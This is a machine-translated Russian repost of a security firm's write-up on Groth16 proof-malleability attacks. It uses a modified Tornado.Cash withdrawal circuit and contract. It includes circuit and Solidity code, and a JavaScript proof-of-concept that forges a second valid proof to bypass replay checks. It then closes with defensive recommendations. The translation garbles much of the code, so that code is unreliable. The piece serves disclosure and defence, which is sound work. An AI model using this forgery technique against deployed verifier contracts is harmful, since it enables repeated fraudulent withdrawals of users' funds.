Глубокий анализ Tornado.Cash выявил атаки на проекты zkp, связанные с гибкостью

金色财经_

В предыдущей статье мы объяснили уязвимость в самой системе доказательств Groth16 с точки зрения принципов, а в этой статье мы возьмем в качестве примера проект Tornado.Cash, изменим некоторые его схемы и коды и представим гибкость процесс атаки, и я надеюсь, что другие участники проекта zkp также обратят внимание на соответствующие превентивные меры в проекте. Среди них Tornado.Cash использует для разработки библиотеку snarkjs, которая также основана на следующем процессе разработки и будет представлена непосредственно позже.Если вы не знакомы с библиотекой, пожалуйста, прочитайте первую статью в этой серии. (Beosin | Углубленный анализ уязвимости zk-SNARK с доказательством с нулевым разглашением: почему система доказательства с нулевым разглашением не является надежной?)! [346a815b39293aee95668fb9b2049873] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-96823e64cc-dd1a6f-1c6801 “7076908”)

(Источник:

1 Архитектура Tornado.Cash

Процесс взаимодействия Tornado.Cash в основном включает в себя 4 объекта: * Пользователь: используйте это DApp для проведения конфиденциальных транзакций с микшером, включая ввод и вывод средств.

  • Веб-страница: интерфейсная веб-страница DApp, которая содержит несколько пользовательских кнопок.
  • Relayer: чтобы узлы в цепочке не записывали информацию, такую как IP-адрес, который инициировал частную транзакцию, сервер будет воспроизводить транзакцию вместо пользователя для дальнейшего повышения конфиденциальности.
  • Контракт: Содержит прокси-контракт Tornado.Cash Proxy, который будет выбирать указанный пул Tornado для последующих операций ввода и вывода средств в соответствии с суммой пользовательских депозитов и выводов. В настоящее время существует 4 пула с суммами 0,1, 1, 10 и 100.

Пользователь сначала выполняет соответствующие операции на интерфейсной веб-странице Tornado.Cash, чтобы инициировать транзакцию ввода или вывода средств, а затем Relayer перенаправляет запрос на транзакцию контракту Tornado.Cash Proxy в цепочке и перенаправляет его соответствующему Пул в зависимости от суммы транзакции и, наконец, для обработки депозитов и снятия средств конкретная структура выглядит следующим образом: ! [f471dfca152796f84a6389ff3a6d96ac] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-fa8e75c3b3-dd1a6f-1c6801 “7076909”) В качестве миксера валют Tornado.Cash имеет две конкретные бизнес-функции: * депозит: когда пользователь проводит депозитную транзакцию, он сначала выбирает депонированный токен (BNB, ETH и т. д.) и соответствующую сумму на интерфейсной веб-странице.Чтобы лучше обеспечить конфиденциальность пользователя, можно внести только четыре суммы;

! [fc9fe4cf9b1b8528e2446d23f39afc9a] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-22994b5b68-dd1a6f-1c6801 “7076910”)

Источник: <

Затем сервер сгенерирует два 31-байтовых случайных числа, нуллификатор и секрет, и после объединения их вместе выполнит операцию pedersenHash, чтобы получить обязательство, и вернет нуллификатор + секрет плюс префикс в качестве примечания для пользователя.Примечание выглядит следующим образом. : ! [83feeca678c53c26a5cfe70f55d29f10] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-64aba8733a-dd1a6f-1c6801 “7076911”)* Затем инициируется транзакция депозита для отправки обязательства и других данных в Tornado.Cash Proxy. контракт в цепочке, прокси-контракт пересылает данные в соответствующий пул в соответствии с суммой депозита, и, наконец, контракт пула вставляет обязательство в качестве конечного узла в дерево Меркла и сохраняет вычисленный корень в контракте пула.

  • вывести: когда пользователь совершает транзакцию снятия средств, сначала введите данные заметки и адрес получения, возвращаемый при вводе депозита, на веб-странице внешнего интерфейса;

! [49898b341e39bdbebd651b5d3918faef] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-54deb436c4-dd1a6f-1c6801 “7076912”)

Источник изображения: <* Затем сервер извлечет все события депозита Tornadocash в цепочке, извлечет обязательства для построения дерева Меркла в цепочке и сгенерирует обязательство и соответствующий Меркл в соответствии с данными примечания (нуллификатор + секрет). Путь пользователя и соответствующий корень используются в качестве входных данных схемы для получения доказательства SNARK с нулевым разглашением; наконец, транзакция вывода инициируется для контракта Tornado.Cash Proxy в цепочке, а затем переходит к соответствующему контракту пула для проверки доказательство согласно параметрам, а Деньги зачисляются на адрес получателя, указанный пользователем.

Среди них ядро вывода средств Tornado.Cash на самом деле должно доказать, что в дереве Меркла существует определенное обязательство, не раскрывая нуллификатор и секрет, хранящиеся у пользователя.Конкретная структура дерева Меркла выглядит следующим образом: ! [a56d827c9d275989d6948e23280123ce] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-2215203ef5-dd1a6f-1c6801 “7076913”)## 2 Модифицированная версия Tornado.Cash magic

2.1 Tornado.Cash волшебная сдача

В первой статье Groth16 о принципе атаки пластичности мы знаем, что злоумышленник может фактически сгенерировать несколько разных доказательств, используя один и тот же нуллификатор и секрет.Если разработчик не учитывает атаку двойного расхода, вызванную воспроизведением доказательства, он будет угрожать финансированию проекта. . **До волшебной модификации Tornado.Cash в этой статье сначала представлен код в пуле, где Tornado.Cash, наконец, обрабатывает снятие средств:

/** @dev Снять депозит с контракта. proof — это данные zkSNARK proof, а input — это массив общедоступных входных данных схемы. Массив input состоит из: — корня Меркла всех депозитов в контракте — хэша уникального обнулителя депозита для предотвращения двойных трат — получателя средств — дополнительной комиссии, которая идет отправителю транзакции (обычно реле) */ функция отзыва( bytes calldata _proof, bytes32 _root, bytes32 _nullifierHash, address payable _recipient, address payable _relayer, uint256 _fee, uint256 _refund ) external payable nonReentrant { require(_fee <= номинал, “Комиссия превышает стоимость перевода”); require(!nullifierHashes[_nullifierHash], “Купюра уже потрачена”); require(isKnownRoot(_root), “Не удается найти корневой каталог”); // Удостоверьтесь, что вы используете последнее требование (verifier.verifyProof( _proof, [uint256(_root), uint256(_nullifierHash), uint256(_recipient), uint256(_relayer), _fee, _refund] ) , “Неверное подтверждение отзыва” ); nullifierHashes[_nullifierHash] = true; _processWithdraw(_recipient, _relayer, _fee, _refund); выдать вывод (_recipient, _nullifierHash, _relayer, _fee); }

На приведенном выше рисунке, чтобы помешать злоумышленникам использовать одно и то же доказательство для проведения атак с двойной тратой без раскрытия обнулителя и секрета, Tornado.Cash добавляет в схему общедоступный сигнал nullifierHash, который получается путем хеширования Педерсеном обнулителя. и может использоваться в качестве параметра. Передаваемый в цепочку, контракт пула затем использует эту переменную, чтобы определить, было ли использовано правильное доказательство. Однако, если проектная сторона не использует метод модификации схемы, а напрямую записывает метод Proof для предотвращения двойных расходов, в конце концов, это может уменьшить ограничения схемы и сэкономить затраты, но может ли это достичь цели? Для этого предположения в этой статье будет удален недавно добавленный общедоступный сигнал nullifierHash в цепи и изменена проверка контракта на проверку Proof. Поскольку Tornado.Cash получает все события депозита каждый раз, когда снимает средства, строит дерево Меркла, а затем проверяет, находится ли сгенерированное корневое значение в пределах последних 30, весь процесс слишком утомительный, поэтому схема в этой статье также удалит схему merkleTree. , Остается только основная схема выдвижной части, а конкретная схема выглядит следующим образом:

включить “…/…/…/…/node_modules/circomlib/схемы/bitify.circom”; include “…/…/…/…/node_modules/circomlib/circuits/pedersen.circom”;// вычисляет шаблон Pedersen(nullifier + secret) CommitmentHasher() { signal input nullifier; секрет ввода сигнала; выходной сигнал фиксации; // вывод сигнала nullifierHash; // удалить компонент commitHasher = Pedersen(496); // компонент nullifierHasher = Pedersen(248); компонент nullifierBits = Num2Bits(248); компонент secretBits = Num2Bits(248); nullifierBits.in <== nullifier; secretBits.in <== секрет; for ( i = 0; i < 248; i++) { // nullifierHasher.in [i] <== nullifierBits.out [i] ; // удалить commitHasher.in [i] <== nullifierBits.out [i] ; commitHasher.in[i + 248] <== secretBits.out [i] ; } обязательство <== обязательствоHasher.out [0] ; // nullifierHash <== nullifierHasher.out [0] ; // удалить}// Проверяет, что обязательство, соответствующее заданному секрету и обнулителю, включено в дерево меркле депозитного сигнала выходного обязательства; получатель входного сигнала; // не участвую ни в каких вычислениях signal input relayer; // не участвуя ни в каких расчетах платы за ввод сигнала; // не участвуя ни в каких вычислениях signal input return; // не участвуя ни в каких вычислениях signal input nullifier; секрет ввода сигнала; хешировщик компонентов = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.secret <== секрет; обязательство <== hasher.commitment; // Добавляем скрытые сигналы, чтобы гарантировать, что фальсификация получателя или комиссии аннулирует доказательство снарка // Скорее всего, это не требуется, но лучше оставаться в безопасности, и требуется только 2 ограничения // Квадраты используются для предотвращения оптимизатор от удаления этих ограничений сигнал ReceiveSquare; плата за сигналКвадрат; сигнальный ретрансляторКвадратный; сигнал возмещения площади; реципиентКвадрат <== получатель * получатель; feeSquare <== плата * плата; relayerSquare <== relayer * relayer; returnSquare <== возврат * возврат;}component main = Withdraw(20);

Примечание: в ходе эксперимента мы обнаружили, что TornadoCash в последней версии кода в GitHub (схема вывода не имеет выходного сигнала и требует ручной корректировки для корректной работы. В соответствии с приведенной выше модифицированной схемой используйте библиотеку snarkjs и т. д., чтобы шаг за шагом следовать процессу разработки, указанному в начале этой статьи, и сгенерируйте следующее нормальное доказательство, которое записано как proof1:

Доказательство: { pi_a: [ 12731245758885665844440940942625335911548255472545721927606279036884288780352n, 1102956704503334056654836789330 4052946457319632960669053932271922876268005970n, 1n ], pi_b: [ [ 44246702835564656221971875467540946678373831664796154745151821 83878046002081n, 8088104569927474555610665242983621221932062943927262293572649061565902268616n ], [9194248463115986940359811 988096155965376840166464829609545491502209803154186n 11557306n], [1n, 0n]], pi_c: [1626407734863381433630916916203225704171957179582436403191883565668143772631n, 10375204902125 491773178253544576299821079735144068419595539416984653646546215n, 1n ], протокол: 'groth16 ', кривая: ‘bn128’}

2.2 Экспериментальная проверка

2.2.1 Proof of Verification — контракт по умолчанию, созданный circom

Прежде всего, мы используем для проверки контракт по умолчанию, сгенерированный circom.Поскольку контракт не записывает никакой информации, связанной с Proof, которая вообще использовалась, злоумышленник может многократно воспроизвести proof1, чтобы вызвать атаку с двойным расходом. В следующих экспериментах доказательство можно воспроизводить бесконечно для одного и того же входа одной и той же схемы, и все они могут пройти проверку. ! [caaf8474774d0ffaaea894961231e604] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-36bda9ebd9-dd1a6f-1c6801 “7076914”) На рисунке ниже показан снимок экрана эксперимента с использованием proof1 в контракте по умолчанию, чтобы доказать, что проверка пройдено, включая предыдущую статью Доказательство параметров A, B и C, используемых в , и окончательный результат:

! [8796de83786dab2e1d2fe8988a2a8c3c] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-1d87d37558-dd1a6f-1c6801 “7076915”)

На рисунке ниже показан результат использования одного и того же proof1 для многократного вызова функции verifyProof для проверки доказательства Эксперимент показал, что для одних и тех же входных данных независимо от того, сколько раз злоумышленник использует proof1 для проверки, он может пройти: ! [058bfa45cfac5803990db4cb707c737b] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-6f3b277d3a-dd1a6f-1c6801 “7076916”) Конечно, мы тестируем в нативной библиотеке js-кода snarkjs, и мы не тестировали уже использованное Proof, которое было передано для защиты, экспериментальные результаты следующие: ## 2.2.2 Verification Proof — Ordinary Anti-Replay Contract

Для уязвимости повторного воспроизведения в контракте по умолчанию, сгенерированном circom, в этой статье записано значение в правильном доказательстве (proof1), которое использовалось для предотвращения атак повторного воспроизведения с использованием проверенного доказательства, как показано на следующем рисунке: ! [9afeb481747b16752a00b70c5562bac2] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-384e9b2889-dd1a6f-1c6801 “7076917”) Продолжайте использовать proof1 для проверки. Эксперимент показал, что при использовании того же Proof для вторичной проверки, транзакция отменена Ошибка: «Купюра уже потрачена», результат показан на рисунке ниже: ! [40293d602538a60400dffa795e0454dd] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-d09fb1e9c2-dd1a6f-1c6801 “7076918”) Но Хотя цель предотвращения обычных атак повторного воспроизведения была достигнута в настоящее время, предыдущее введение В алгоритме groth16 существует проблема уязвимости к пластичности, и эту превентивную меру все еще можно обойти. Итак, мы строим PoC на рисунке ниже и генерируем поддельный сертификат zk-SNARK для тех же входных данных по алгоритму из первой статьи Эксперимент показал, что он все еще может пройти проверку. Код проверки подлинности для создания поддельного доказательства2 выглядит следующим образом:

импортировать WasmCurve из “/Users/saya/node_modules/ffjava/src/wasm_curve.js” импортировать ZqField из “/Users/saya/node_modules/ffjava/src/f1field.js” импортировать groth16FullProve из "/Users /saya/node_modules/snarkjs/src/groth16_fullprove.js"import groth16Verify from “/Users/saya/node_modules/snarkjs/src/groth16_verify.js”;import * as curves from “/Users /saya/node_modules/snarkjs/src/curves.js”;импорт fs из “fs”;импорт {utils} из “ffjava”;const {unstringifyBigInts} = utils;groth16_exp();асинхронная функция groth16_exp (){ пусть inputA = “7”; пусть inputB = “11”; const SNARK_FIELD_SIZE = BigInt(‘21888242871839275222246405745257275088548364400416034343698204186575808495617’); // 2. 读取string后转化为int const proof = await unstringifyBigInts(JSON.parse(fs.readFileSync(“proof.json”,“utf8”))); console.log(“Доказательство:”,доказательство); // Вызов F1 const F = new ZqField(SNARK_FIELD_SIZE); // const F = новое F2Field(SNARK_FIELD_SIZE); const X = Fe(“123456”) const invX = F.inv(X) console.log(“x:”,X) console.log(“invX”,invX) console.log(“TimeScalar:”, F.mul(X,invX)) // 取椭圆曲线G1、G2点 const vKey = JSON.parse(fs.readFileSync(“verification_key.json”,“utf8”)); // console.log(“Кривая:”,vKey); константная кривая = ожидание кривых.getCurveFromName(vKey.curve); const G1 = кривая.G1; const G2 = кривая.G2; const A = G1.fromObject(proof.pi_a); const B = G2.fromObject(proof.pi_b); const C = G1.fromObject(proof.pi_c); const new_pi_a = G1.timesScalar(A, X); //A’=x*A const new_pi_b = G2.timesScalar(B, invX); //B’=x^{-1}*B proof.pi_a = G1.toObject(G1.toAffine(A)); proof.new_pi_a = G1.toObject(G1.toAffine(new_pi_a)) proof.new_pi_b = G2.toObject(G2.toAffine(new_pi_b)) // 将生成的G1、G2点转化为proof console.log(“proof.pi_a:”,proof.pi_a); console.log(“доказательство.новый_pi_a:”,доказательство.новый_pi_a) console.log(“доказательство.новый_pi_b:”,доказательство.новый_pi_b)}

Сгенерированное поддельное доказательство proof2 показано на рисунке ниже: При повторном использовании этого параметра для вызова функции verifyProof для проверки доказательства эксперимент обнаружил, что проверка proof2 снова прошла успешно при том же входном условии, как показано ниже: ! [03d0f119ea666620685b4cece791a789] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-4c49de3755-dd1a6f-1c6801 “7076919”) Хотя поддельное доказательство2 можно использовать только еще раз, из-за поддельного Существует почти бесконечное количество доказательств, поэтому это может привести к бесконечному выводу средств по контракту. В этой статье также используется код js библиотеки circom для тестирования, и экспериментальные результаты proof1 и fake proof2 могут пройти проверку: [9153431b50b81dcadbf68930ded584c3] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-934c4ab3e4-dd1a6f-1c6801 “7076920”)## 2.2.3 Доказательство проверки — контракт на воспроизведение Tornado.Cash

После стольких неудач, разве нет способа сделать это раз и навсегда? Здесь, в соответствии с практикой Tornado.Cash по проверке того, был ли использован исходный ввод, эта статья продолжает изменять код контракта следующим образом: ! [28fabffcac9037a41e030db84f44f83b] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-dfa6f29d35-dd1a6f-1c6801 “7076921”) Следует отметить, что для демонстрации простых мер по предотвращению податливой атаки Алгоритм groth16, *\ *В этой статье используется метод прямой записи входных данных исходной схемы, но это не соответствует принципу конфиденциальности доказательства с нулевым разглашением, и входные данные схемы следует сохранять конфиденциальными. **Например, все входные данные в Tornado.Cash являются частными, и для идентификации Proof необходимо добавить новый общедоступный ввод. В этой статье, поскольку в схеме нет нового логотипа, конфиденциальность относительно плохая по сравнению с Tornado.Cash.Он используется только в качестве экспериментальной демонстрации, чтобы показать результаты следующим образом: ! [ac4624fc066156979fae817e327c6224] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-440d87e977-dd1a6f-1c6801 “7076922”) Можно обнаружить, что доказательство, использующее тот же ввод на рисунке выше, может пройти доказательство1 только для первый раз, то ни доказательство1, ни подложное доказательство2 не могут пройти проверку. ## 3 Резюме и рекомендации

В этом документе в основном проверяется подлинность и вред уязвимости повторного воспроизведения путем изменения схемы TornadoCash и использования контракта по умолчанию, сгенерированного Circom, который обычно используется разработчиками, а также проверяется, что общие меры, используемые на уровне контракта, могут защитить от повторного воспроизведения. уязвимость, но не может ее предотвратить.Атака гибкости Groth16, в связи с этим, мы рекомендуем проектам с доказательством с нулевым разглашением обратить внимание на следующее во время разработки проекта: * В отличие от традиционных DApps, которые используют уникальные данные, такие как адреса, для генерации данных узла, проекты обычно используют комбинацию случайных чисел. Для генерации узлов дерева Меркла нужно обратить внимание на то, позволяет ли бизнес-логика вставлять узлы с одинаковым значением. **Поскольку одни и те же данные конечного узла могут привести к тому, что некоторые пользовательские средства будут заблокированы в контракте, или в одних и тех же данных конечного узла может быть несколько доказательств Меркла, которые запутывают бизнес-логику. **

  • Сторона проекта zkp обычно использует сопоставление для записи использованного Proof для предотвращения атак с двойным расходом. **Следует отметить, что при разработке с помощью Groth16, из-за существования атак пластичности, для записи должны использоваться исходные данные узла, а не только идентификация данных, связанных с доказательством. **
  • Сложные схемы могут иметь такие проблемы, как неопределенность схемы и недостаточные ограничения, неполные условия проверки контракта и наличие лазеек в логике реализации.** Мы настоятельно рекомендуем, чтобы проектная сторона провела некоторое исследование схем и контрактов, когда проект Компании, занимающиеся аудитом безопасности, проводят комплексные проверки, чтобы максимально обеспечить безопасность проекта. **
Посмотреть Оригинал
Отказ от ответственности: Информация на этой странице может поступать от третьих лиц и не отражает взгляды или мнения Gate. Содержание, представленное на этой странице, предназначено исключительно для справки и не является финансовой, инвестиционной или юридической консультацией. Gate не гарантирует точность или полноту информации и не несет ответственности за любые убытки, возникшие от использования этой информации. Инвестиции в виртуальные активы несут высокие риски и подвержены значительной ценовой волатильности. Вы можете потерять весь инвестированный капитал. Пожалуйста, полностью понимайте соответствующие риски и принимайте разумные решения, исходя из собственного финансового положения и толерантности к риску. Для получения подробностей, пожалуйста, обратитесь к Отказу от ответственности.
комментарий
0/400
Нет комментариев